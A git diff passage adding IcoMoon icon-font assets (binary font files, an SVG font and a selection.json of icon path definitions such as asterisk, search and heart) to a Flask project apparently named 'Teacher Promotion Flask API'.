+ + + + diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/fonts/icomoon.eot b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/fonts/icomoon.eot new file mode 100644 index 00000000..352a9b23 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/fonts/icomoon.eot differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/fonts/icomoon.svg b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/fonts/icomoon.svg new file mode 100644 index 00000000..bf75889a --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/fonts/icomoon.svg @@ -0,0 +1,1530 @@ + + + +Generated by IcoMoon + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/fonts/icomoon.ttf b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/fonts/icomoon.ttf new file mode 100644 index 00000000..c3d4be0c Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/fonts/icomoon.ttf differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/fonts/icomoon.woff b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/fonts/icomoon.woff new file mode 100644 index 00000000..ba6edd99 Binary files /dev/null and b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/fonts/icomoon.woff differ diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/selection.json b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/selection.json new file mode 100644 index 00000000..80bd71f6 --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/selection.json @@ -0,0 +1,41190 @@ +{ + "IcoMoonType": "selection", + "icons": [ + { + "icon": { + "paths": [ + "M846.857 600c34.857 20 46.857 65.143 26.857 100l-36.571 62.857c-20 34.857-65.143 46.857-100 26.857l-152-87.429v175.429c0 40-33.143 73.143-73.143 73.143h-73.143c-40 0-73.143-33.143-73.143-73.143v-175.429l-152 87.429c-34.857 20-80 8-100-26.857l-36.571-62.857c-20-34.857-8-80 26.857-100l152-88-152-88c-34.857-20-46.857-65.143-26.857-100l36.571-62.857c20-34.857 65.143-46.857 100-26.857l152 87.429v-175.429c0-40 33.143-73.143 73.143-73.143h73.143c40 0 73.143 33.143 73.143 73.143v175.429l152-87.429c34.857-20 80-8 100 26.857l36.571 62.857c20 34.857 8 80-26.857 100l-152 88z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "asterisk" + ], + "defaultCode": 61545, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "asterisk", + "id": 0, + "order": 856, + "prevSize": 28, + "code": 61545 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 0 + }, + { + "icon": { + "paths": [ + "M804.571 420.571v109.714c0 30.286-24.571 54.857-54.857 54.857h-237.714v237.714c0 30.286-24.571 54.857-54.857 54.857h-109.714c-30.286 0-54.857-24.571-54.857-54.857v-237.714h-237.714c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h237.714v-237.714c0-30.286 24.571-54.857 54.857-54.857h109.714c30.286 0 54.857 24.571 54.857 54.857v237.714h237.714c30.286 0 54.857 24.571 54.857 54.857z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "plus" + ], + "defaultCode": 61543, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "plus", + "id": 1, + "order": 857, + "prevSize": 28, + "code": 61543 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 1 + }, + { + "icon": { + "paths": [ + "M402.286 717.714v137.143c0 12.571-10.286 22.857-22.857 22.857h-137.143c-12.571 0-22.857-10.286-22.857-22.857v-137.143c0-12.571 10.286-22.857 22.857-22.857h137.143c12.571 0 22.857 10.286 22.857 22.857zM582.857 374.857c0 108.571-73.714 150.286-128 180.571-33.714 19.429-54.857 58.857-54.857 75.429v0c0 12.571-9.714 27.429-22.857 27.429h-137.143c-12.571 0-20.571-19.429-20.571-32v-25.714c0-69.143 68.571-128.571 118.857-151.429 44-20 62.286-38.857 62.286-75.429 0-32-41.714-60.571-88-60.571-25.714 0-49.143 8-61.714 16.571-13.714 9.714-27.429 23.429-61.143 65.714-4.571 5.714-11.429 9.143-17.714 9.143-5.143 0-9.714-1.714-14.286-4.571l-93.714-71.429c-9.714-7.429-12-20-5.714-30.286 61.714-102.286 148.571-152 265.143-152 122.286 0 259.429 97.714 259.429 228.571z" + ], + "width": 634.88, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "question" + ], + "defaultCode": 61736, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "question", + "id": 2, + "order": 858, + "prevSize": 28, + "code": 61736 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 2 + }, + { + "icon": { + "paths": [ + "M804.571 420.571v109.714c0 30.286-24.571 54.857-54.857 54.857h-694.857c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h694.857c30.286 0 54.857 24.571 54.857 54.857z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "minus" + ], + "defaultCode": 61544, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "minus", + "id": 3, + "order": 859, + "prevSize": 28, + "code": 61544 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 3 + }, + { + "icon": { + "paths": [ + "M970.857 106.286c0 16.571-13.143 33.143-24.571 44.571l-361.143 361.143v438.857h182.857c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571h-512c-20 0-36.571-16.571-36.571-36.571s16.571-36.571 36.571-36.571h182.857v-438.857l-361.143-361.143c-11.429-11.429-24.571-28-24.571-44.571 0-28 35.429-33.143 56.571-33.143h804.571c21.143 0 56.571 5.143 56.571 33.143z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "glass" + ], + "defaultCode": 61440, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "glass", + "id": 4, + "order": 860, + "prevSize": 28, + "code": 61440 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 4 + }, + { + "icon": { + "paths": [ + "M877.714 128v640c0 80.571-120.571 109.714-182.857 109.714s-182.857-29.143-182.857-109.714 120.571-109.714 182.857-109.714c37.714 0 75.429 6.857 109.714 22.286v-306.857l-438.857 135.429v405.143c0 80.571-120.571 109.714-182.857 109.714s-182.857-29.143-182.857-109.714 120.571-109.714 182.857-109.714c37.714 0 75.429 6.857 109.714 22.286v-552.571c0-24 16-45.143 38.857-52.571l475.429-146.286c5.143-1.714 10.286-2.286 16-2.286 30.286 0 54.857 24.571 54.857 54.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "music" + ], + "defaultCode": 61441, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "music", + "id": 5, + "order": 861, + "prevSize": 28, + "code": 61441 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 5 + }, + { + "icon": { + "paths": [ + "M658.286 475.429c0-141.143-114.857-256-256-256s-256 114.857-256 256 114.857 256 256 256 256-114.857 256-256zM950.857 950.857c0 40-33.143 73.143-73.143 73.143-19.429 0-38.286-8-51.429-21.714l-196-195.429c-66.857 46.286-146.857 70.857-228 70.857-222.286 0-402.286-180-402.286-402.286s180-402.286 402.286-402.286 402.286 180 402.286 402.286c0 81.143-24.571 161.143-70.857 228l196 196c13.143 13.143 21.143 32 21.143 51.429z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "search" + ], + "defaultCode": 61442, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "search", + "id": 6, + "order": 862, + "prevSize": 28, + "code": 61442 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 6 + }, + { + "icon": { + "paths": [ + "M950.857 859.429v-438.857c-12 13.714-25.143 26.286-39.429 37.714-81.714 62.857-164 126.857-243.429 193.143-42.857 36-96 80-155.429 80h-1.143c-59.429 0-112.571-44-155.429-80-79.429-66.286-161.714-130.286-243.429-193.143-14.286-11.429-27.429-24-39.429-37.714v438.857c0 9.714 8.571 18.286 18.286 18.286h841.143c9.714 0 18.286-8.571 18.286-18.286zM950.857 258.857c0-14.286 3.429-39.429-18.286-39.429h-841.143c-9.714 0-18.286 8.571-18.286 18.286 0 65.143 32.571 121.714 84 162.286 76.571 60 153.143 120.571 229.143 181.143 30.286 24.571 85.143 77.143 125.143 77.143h1.143c40 0 94.857-52.571 125.143-77.143 76-60.571 152.571-121.143 229.143-181.143 37.143-29.143 84-92.571 84-141.143zM1024 237.714v621.714c0 50.286-41.143 91.429-91.429 91.429h-841.143c-50.286 0-91.429-41.143-91.429-91.429v-621.714c0-50.286 41.143-91.429 91.429-91.429h841.143c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "envelope-o" + ], + "defaultCode": 61443, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "envelope-o", + "id": 7, + "order": 863, + "prevSize": 28, + "code": 61443 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 7 + }, + { + "icon": { + "paths": [ + "M512 950.857c-9.143 0-18.286-3.429-25.143-10.286l-356.571-344c-4.571-4-130.286-118.857-130.286-256 0-167.429 102.286-267.429 273.143-267.429 100 0 193.714 78.857 238.857 123.429 45.143-44.571 138.857-123.429 238.857-123.429 170.857 0 273.143 100 273.143 267.429 0 137.143-125.714 252-130.857 257.143l-356 342.857c-6.857 6.857-16 10.286-25.143 10.286z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "heart" + ], + "defaultCode": 61444, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "heart", + "id": 8, + "order": 864, + "prevSize": 28, + "code": 61444 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 8 + }, + { + "icon": { + "paths": [ + "M950.857 369.714c0 10.286-7.429 20-14.857 27.429l-207.429 202.286 49.143 285.714c0.571 4 0.571 7.429 0.571 11.429 0 14.857-6.857 28.571-23.429 28.571-8 0-16-2.857-22.857-6.857l-256.571-134.857-256.571 134.857c-7.429 4-14.857 6.857-22.857 6.857-16.571 0-24-13.714-24-28.571 0-4 0.571-7.429 1.143-11.429l49.143-285.714-208-202.286c-6.857-7.429-14.286-17.143-14.286-27.429 0-17.143 17.714-24 32-26.286l286.857-41.714 128.571-260c5.143-10.857 14.857-23.429 28-23.429s22.857 12.571 28 23.429l128.571 260 286.857 41.714c13.714 2.286 32 9.143 32 26.286z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "star" + ], + "defaultCode": 61445, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "star", + "id": 9, + "order": 865, + "prevSize": 28, + "code": 61445 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 9 + }, + { + "icon": { + "paths": [ + "M649.714 573.714l174.857-169.714-241.143-35.429-108-218.286-108 218.286-241.143 35.429 174.857 169.714-41.714 240.571 216-113.714 215.429 113.714zM950.857 369.714c0 10.286-7.429 20-14.857 27.429l-207.429 202.286 49.143 285.714c0.571 4 0.571 7.429 0.571 11.429 0 15.429-6.857 28.571-23.429 28.571-8 0-16-2.857-22.857-6.857l-256.571-134.857-256.571 134.857c-7.429 4-14.857 6.857-22.857 6.857-16.571 0-24-13.714-24-28.571 0-4 0.571-7.429 1.143-11.429l49.143-285.714-208-202.286c-6.857-7.429-14.286-17.143-14.286-27.429 0-17.143 17.714-24 32-26.286l286.857-41.714 128.571-260c5.143-10.857 14.857-23.429 28-23.429s22.857 12.571 28 23.429l128.571 260 286.857 41.714c13.714 2.286 32 9.143 32 26.286z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "star-o" + ], + "defaultCode": 61446, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "star-o", + "id": 10, + "order": 866, + "prevSize": 28, + "code": 61446 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 10 + }, + { + "icon": { + "paths": [ + "M731.429 799.429c0 83.429-54.857 151.429-121.714 151.429h-488c-66.857 0-121.714-68-121.714-151.429 0-150.286 37.143-324 186.857-324 46.286 45.143 109.143 73.143 178.857 73.143s132.571-28 178.857-73.143c149.714 0 186.857 173.714 186.857 324zM585.143 292.571c0 121.143-98.286 219.429-219.429 219.429s-219.429-98.286-219.429-219.429 98.286-219.429 219.429-219.429 219.429 98.286 219.429 219.429z" + ], + "width": 731.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "user" + ], + "defaultCode": 61447, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "user", + "id": 11, + "order": 867, + "prevSize": 28, + "code": 61447 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 11 + }, + { + "icon": { + "paths": [ + "M219.429 914.286v-73.143c0-20-16.571-36.571-36.571-36.571h-73.143c-20 0-36.571 16.571-36.571 36.571v73.143c0 20 16.571 36.571 36.571 36.571h73.143c20 0 36.571-16.571 36.571-36.571zM219.429 694.857v-73.143c0-20-16.571-36.571-36.571-36.571h-73.143c-20 0-36.571 16.571-36.571 36.571v73.143c0 20 16.571 36.571 36.571 36.571h73.143c20 0 36.571-16.571 36.571-36.571zM219.429 475.429v-73.143c0-20-16.571-36.571-36.571-36.571h-73.143c-20 0-36.571 16.571-36.571 36.571v73.143c0 20 16.571 36.571 36.571 36.571h73.143c20 0 36.571-16.571 36.571-36.571zM804.571 914.286v-292.571c0-20-16.571-36.571-36.571-36.571h-438.857c-20 0-36.571 16.571-36.571 36.571v292.571c0 20 16.571 36.571 36.571 36.571h438.857c20 0 36.571-16.571 36.571-36.571zM219.429 256v-73.143c0-20-16.571-36.571-36.571-36.571h-73.143c-20 0-36.571 16.571-36.571 36.571v73.143c0 20 16.571 36.571 36.571 36.571h73.143c20 0 36.571-16.571 36.571-36.571zM1024 914.286v-73.143c0-20-16.571-36.571-36.571-36.571h-73.143c-20 0-36.571 16.571-36.571 36.571v73.143c0 20 16.571 36.571 36.571 36.571h73.143c20 0 36.571-16.571 36.571-36.571zM804.571 475.429v-292.571c0-20-16.571-36.571-36.571-36.571h-438.857c-20 0-36.571 16.571-36.571 36.571v292.571c0 20 16.571 36.571 36.571 36.571h438.857c20 0 36.571-16.571 36.571-36.571zM1024 694.857v-73.143c0-20-16.571-36.571-36.571-36.571h-73.143c-20 0-36.571 16.571-36.571 36.571v73.143c0 20 16.571 36.571 36.571 36.571h73.143c20 0 36.571-16.571 36.571-36.571zM1024 475.429v-73.143c0-20-16.571-36.571-36.571-36.571h-73.143c-20 0-36.571 16.571-36.571 36.571v73.143c0 20 16.571 36.571 36.571 36.571h73.143c20 0 36.571-16.571 36.571-36.571zM1024 256v-73.143c0-20-16.571-36.571-36.571-36.571h-73.143c-20 0-36.571 16.571-36.571 36.571v73.143c0 20 16.571 36.571 36.571 36.571h73.143c20 0 36.571-16.571 36.571-36.571zM1097.143 164.571v768c0 50.286-41.143 91.429-91.429 91.429h-914.286c-50.286 0-91.429-41.143-91.429-91.429v-768c0-50.286 41.143-91.429 91.429-91.429h914.286c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "film" + ], + "defaultCode": 61448, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "film", + "id": 12, + "order": 868, + "prevSize": 28, + "code": 61448 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 12 + }, + { + "icon": { + "paths": [ + "M438.857 585.143v219.429c0 40-33.143 73.143-73.143 73.143h-292.571c-40 0-73.143-33.143-73.143-73.143v-219.429c0-40 33.143-73.143 73.143-73.143h292.571c40 0 73.143 33.143 73.143 73.143zM438.857 146.286v219.429c0 40-33.143 73.143-73.143 73.143h-292.571c-40 0-73.143-33.143-73.143-73.143v-219.429c0-40 33.143-73.143 73.143-73.143h292.571c40 0 73.143 33.143 73.143 73.143zM950.857 585.143v219.429c0 40-33.143 73.143-73.143 73.143h-292.571c-40 0-73.143-33.143-73.143-73.143v-219.429c0-40 33.143-73.143 73.143-73.143h292.571c40 0 73.143 33.143 73.143 73.143zM950.857 146.286v219.429c0 40-33.143 73.143-73.143 73.143h-292.571c-40 0-73.143-33.143-73.143-73.143v-219.429c0-40 33.143-73.143 73.143-73.143h292.571c40 0 73.143 33.143 73.143 73.143z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "th-large" + ], + "defaultCode": 61449, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "th-large", + "id": 13, + "order": 869, + "prevSize": 28, + "code": 61449 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 13 + }, + { + "icon": { + "paths": [ + "M292.571 713.143v109.714c0 30.286-24.571 54.857-54.857 54.857h-182.857c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h182.857c30.286 0 54.857 24.571 54.857 54.857zM292.571 420.571v109.714c0 30.286-24.571 54.857-54.857 54.857h-182.857c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h182.857c30.286 0 54.857 24.571 54.857 54.857zM658.286 713.143v109.714c0 30.286-24.571 54.857-54.857 54.857h-182.857c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h182.857c30.286 0 54.857 24.571 54.857 54.857zM292.571 128v109.714c0 30.286-24.571 54.857-54.857 54.857h-182.857c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h182.857c30.286 0 54.857 24.571 54.857 54.857zM658.286 420.571v109.714c0 30.286-24.571 54.857-54.857 54.857h-182.857c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h182.857c30.286 0 54.857 24.571 54.857 54.857zM1024 713.143v109.714c0 30.286-24.571 54.857-54.857 54.857h-182.857c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h182.857c30.286 0 54.857 24.571 54.857 54.857zM658.286 128v109.714c0 30.286-24.571 54.857-54.857 54.857h-182.857c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h182.857c30.286 0 54.857 24.571 54.857 54.857zM1024 420.571v109.714c0 30.286-24.571 54.857-54.857 54.857h-182.857c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h182.857c30.286 0 54.857 24.571 54.857 54.857zM1024 128v109.714c0 30.286-24.571 54.857-54.857 54.857h-182.857c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h182.857c30.286 0 54.857 24.571 54.857 54.857z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "th" + ], + "defaultCode": 61450, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "th", + "id": 14, + "order": 870, + "prevSize": 28, + "code": 61450 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 14 + }, + { + "icon": { + "paths": [ + "M292.571 713.143v109.714c0 30.286-24.571 54.857-54.857 54.857h-182.857c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h182.857c30.286 0 54.857 24.571 54.857 54.857zM292.571 420.571v109.714c0 30.286-24.571 54.857-54.857 54.857h-182.857c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h182.857c30.286 0 54.857 24.571 54.857 54.857zM1024 713.143v109.714c0 30.286-24.571 54.857-54.857 54.857h-548.571c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h548.571c30.286 0 54.857 24.571 54.857 54.857zM292.571 128v109.714c0 30.286-24.571 54.857-54.857 54.857h-182.857c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h182.857c30.286 0 54.857 24.571 54.857 54.857zM1024 420.571v109.714c0 30.286-24.571 54.857-54.857 54.857h-548.571c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h548.571c30.286 0 54.857 24.571 54.857 54.857zM1024 128v109.714c0 30.286-24.571 54.857-54.857 54.857h-548.571c-30.286 0-54.857-24.571-54.857-54.857v-109.714c0-30.286 24.571-54.857 54.857-54.857h548.571c30.286 0 54.857 24.571 54.857 54.857z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "th-list" + ], + "defaultCode": 61451, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "th-list", + "id": 15, + "order": 871, + "prevSize": 28, + "code": 61451 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 15 + }, + { + "icon": { + "paths": [ + "M954.857 323.429c0 14.286-5.714 28.571-16 38.857l-491.429 491.429c-10.286 10.286-24.571 16-38.857 16s-28.571-5.714-38.857-16l-284.571-284.571c-10.286-10.286-16-24.571-16-38.857s5.714-28.571 16-38.857l77.714-77.714c10.286-10.286 24.571-16 38.857-16s28.571 5.714 38.857 16l168 168.571 374.857-375.429c10.286-10.286 24.571-16 38.857-16s28.571 5.714 38.857 16l77.714 77.714c10.286 10.286 16 24.571 16 38.857z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "check" + ], + "defaultCode": 61452, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "check", + "id": 16, + "order": 872, + "prevSize": 28, + "code": 61452 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 16 + }, + { + "icon": { + "paths": [ + "M741.714 755.429c0 14.286-5.714 28.571-16 38.857l-77.714 77.714c-10.286 10.286-24.571 16-38.857 16s-28.571-5.714-38.857-16l-168-168-168 168c-10.286 10.286-24.571 16-38.857 16s-28.571-5.714-38.857-16l-77.714-77.714c-10.286-10.286-16-24.571-16-38.857s5.714-28.571 16-38.857l168-168-168-168c-10.286-10.286-16-24.571-16-38.857s5.714-28.571 16-38.857l77.714-77.714c10.286-10.286 24.571-16 38.857-16s28.571 5.714 38.857 16l168 168 168-168c10.286-10.286 24.571-16 38.857-16s28.571 5.714 38.857 16l77.714 77.714c10.286 10.286 16 24.571 16 38.857s-5.714 28.571-16 38.857l-168 168 168 168c10.286 10.286 16 24.571 16 38.857z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "close", + "remove", + "times" + ], + "defaultCode": 61453, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "close, remove, times", + "id": 17, + "order": 873, + "prevSize": 28, + "code": 61453 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 17 + }, + { + "icon": { + "paths": [ + "M585.143 457.143v36.571c0 9.714-8.571 18.286-18.286 18.286h-128v128c0 9.714-8.571 18.286-18.286 18.286h-36.571c-9.714 0-18.286-8.571-18.286-18.286v-128h-128c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h128v-128c0-9.714 8.571-18.286 18.286-18.286h36.571c9.714 0 18.286 8.571 18.286 18.286v128h128c9.714 0 18.286 8.571 18.286 18.286zM658.286 475.429c0-141.143-114.857-256-256-256s-256 114.857-256 256 114.857 256 256 256 256-114.857 256-256zM950.857 950.857c0 40.571-32.571 73.143-73.143 73.143-19.429 0-38.286-8-51.429-21.714l-196-195.429c-66.857 46.286-146.857 70.857-228 70.857-222.286 0-402.286-180-402.286-402.286s180-402.286 402.286-402.286 402.286 180 402.286 402.286c0 81.143-24.571 161.143-70.857 228l196 196c13.143 13.143 21.143 32 21.143 51.429z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "search-plus" + ], + "defaultCode": 61454, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "search-plus", + "id": 18, + "order": 874, + "prevSize": 28, + "code": 61454 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 18 + }, + { + "icon": { + "paths": [ + "M585.143 457.143v36.571c0 9.714-8.571 18.286-18.286 18.286h-329.143c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h329.143c9.714 0 18.286 8.571 18.286 18.286zM658.286 475.429c0-141.143-114.857-256-256-256s-256 114.857-256 256 114.857 256 256 256 256-114.857 256-256zM950.857 950.857c0 40.571-32.571 73.143-73.143 73.143-19.429 0-38.286-8-51.429-21.714l-196-195.429c-66.857 46.286-146.857 70.857-228 70.857-222.286 0-402.286-180-402.286-402.286s180-402.286 402.286-402.286 402.286 180 402.286 402.286c0 81.143-24.571 161.143-70.857 228l196 196c13.143 13.143 21.143 32 21.143 51.429z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "search-minus" + ], + "defaultCode": 61456, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "search-minus", + "id": 19, + "order": 875, + "prevSize": 28, + "code": 61456 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 19 + }, + { + "icon": { + "paths": [ + "M877.714 512c0 241.714-197.143 438.857-438.857 438.857s-438.857-197.143-438.857-438.857c0-138.857 64-266.857 175.429-350.286 32.571-24.571 78.286-18.286 102.286 14.286 24.571 32 17.714 78.286-14.286 102.286-74.286 56-117.143 141.143-117.143 233.714 0 161.143 131.429 292.571 292.571 292.571s292.571-131.429 292.571-292.571c0-92.571-42.857-177.714-117.143-233.714-32-24-38.857-70.286-14.286-102.286 24-32.571 70.286-38.857 102.286-14.286 111.429 83.429 175.429 211.429 175.429 350.286zM512 73.143v365.714c0 40-33.143 73.143-73.143 73.143s-73.143-33.143-73.143-73.143v-365.714c0-40 33.143-73.143 73.143-73.143s73.143 33.143 73.143 73.143z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "power-off" + ], + "defaultCode": 61457, + "grid": 14 + }, + "attrs": [], + "properties": 